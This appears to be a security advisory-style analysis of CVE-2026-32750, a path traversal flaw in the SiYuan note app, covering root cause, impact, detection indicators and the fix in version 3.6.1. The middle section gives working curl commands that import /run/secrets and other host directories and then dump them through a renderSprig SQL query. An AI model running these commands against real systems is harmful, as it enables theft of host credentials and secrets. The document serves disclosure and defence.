CVE-2026-32750: 
NixOS vulnerability analysis and mitigation

CVE-2026-32750 is a path traversal vulnerability in SiYuan, a personal knowledge management system, affecting versions 3.6.0 and below. The POST /api/import/importStdMd endpoint passes the localPath parameter directly to model.ImportFromLocalPath without any path validation, allowing an authenticated admin to recursively import arbitrary host directories into the workspace database. The vulnerability was disclosed on March 14, 2026, and fixed in version 3.6.1. It carries a CVSS v3.1 base score of 6.8 (Medium) (GitHub Advisory).

The root cause is classified as CWE-22 (Path Traversal) and CWE-552 (Files or Directories Accessible to External Parties). In kernel/api/import.go, the importStdMd function extracts the localPath parameter from the request body and passes it directly to model.ImportFromLocalPath, which uses filelock.Walk to recursively read every file under the given path — with no blocklist or directory restriction, unlike the globalCopyFiles function. The imported file contents are permanently stored as note documents in the workspace's SQLite database (blocks table), persisting across restarts and becoming searchable by all workspace users including Publish Service Reader accounts. When chained with a separate renderSprig SQL injection vulnerability (GHSA advisory), a non-admin user can query the blocks table to extract all imported sensitive data without elevated privileges (GitHub Advisory, Patch Commit).

An authenticated admin can exfiltrate the contents of any readable host directory — including /proc/, /etc/, /run/secrets/, and /home/ — by importing them as persistent notes into the SiYuan workspace. The imported data is stored permanently in the SQLite workspace database, survives application restarts, and is accessible to all workspace users including lower-privileged Publish Service Reader accounts. When combined with the renderSprig SQL injection vulnerability, non-admin users can retrieve all imported secrets without any additional privileges, enabling unauthorized disclosure of credentials, environment variables, and other sensitive host data (GitHub Advisory).

A proof-of-concept exploit using curl commands is publicly available in the GitHub security advisory, demonstrating how an authenticated admin can import sensitive directories such as /proc/1 and /run/secrets into the workspace (GitHub Advisory). Exploitation requires high privileges (admin token), but the chained attack with renderSprig SQL injection allows non-admin users to subsequently read the exfiltrated data. There is no evidence of in-the-wild exploitation at this time, and the vulnerability is not listed in the CISA KEV catalog. The EPSS score is approximately 0.038% (0.000380), indicating a low probability of exploitation in the near term (GitHub Advisory).

1. Obtain admin credentials: Acquire a valid SiYuan admin API token (e.g., accessAuthCode) for the target instance, which is required to call the import API.
2. Create an exfiltration notebook: Send an authenticated POST request to /api/notebook/createNotebook to create a notebook (e.g., named "Exfil") and capture the returned notebook ID.

   TOKEN="YOUR_ADMIN_TOKEN"
   NOTEBOOK=$(curl -s -X POST http://target:6806/api/notebook/createNotebook \
     -H "Authorization: Token $TOKEN" -H "Content-Type: application/json" \
     -d '{"name":"Exfil"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['notebook']['id'])")

3. Import sensitive host directories: Send POST requests to /api/import/importStdMd with arbitrary localPath values pointing to sensitive directories (e.g., /proc/1, /run/secrets, /etc/).

   curl -s -X POST http://target:6806/api/import/importStdMd \
     -H "Authorization: Token $TOKEN" -H "Content-Type: application/json" \
     -d "{\"notebook\":\"$NOTEBOOK\",\"localPath\":\"/run/secrets\",\"toPath\":\"/\"}"

4. Data persists in workspace database: The file contents are recursively read and stored as note documents in the SQLite blocks table, surviving restarts and accessible to all workspace users.
5. Exfiltrate via renderSprig SQL injection (chained attack): A non-admin user can query the blocks table using the renderSprig endpoint to retrieve all imported secrets without elevated privileges.

   curl -s -X POST http://target:6806/api/template/renderSprig \
     -H "Authorization: Token $TOKEN" -H "Content-Type: application/json" \
     -d '{"template":"{{range $r := (querySQL \"SELECT content FROM blocks LIMIT 50\")}}{{$r.content}}\n---\n{{end}}"}'

   (GitHub Advisory)

• Network: Authenticated POST requests to /api/import/importStdMd with localPath values pointing to system directories (e.g., /proc/, /etc/, /run/secrets/, /home/); POST requests to /api/template/renderSprig containing SQL queries targeting the blocks table.
• Logs: SiYuan API access logs showing repeated calls to /api/import/importStdMd with unusual or absolute localPath parameters; log entries from kernel/api/import.go referencing sensitive path imports (post-patch: error messages like "local path is sensitive path").
• File System / Database: Unexpected growth of the SiYuan workspace SQLite database; presence of note documents in the workspace containing content from system files (e.g., /proc/1/environ, Docker secrets); notebook named with generic exfiltration labels (e.g., "Exfil").
• Process: SiYuan process performing recursive file reads across system directories outside the workspace path during import operations. (GitHub Advisory)

Upgrade SiYuan to version 3.6.1 or later, which adds path validation checks (util.IsSubPath and util.IsSensitivePath) in kernel/api/import.go before passing localPath to ImportFromLocalPath (SiYuan Release v3.6.1, Patch Commit). For deployments that cannot be updated immediately, restrict admin account access and monitor the /api/import/importStdMd endpoint for requests with unusual localPath parameters. Additionally, review and restrict workspace database access controls to limit exposure through Publish Service Reader accounts, and consider network-level controls to limit API access to trusted hosts only.

The vulnerability was reported by security researcher fg0x0 and published by the SiYuan maintainer (88250) on March 14, 2026, with a patch released in v3.6.1 on March 17, 2026 (GitHub Advisory, SiYuan Release v3.6.1). The advisory notes a related chained vulnerability (renderSprig SQL injection) disclosed separately, indicating a broader security review of the SiYuan API surface. No significant broader media coverage or notable community debate has been identified beyond the GitHub advisory and standard vulnerability database entries.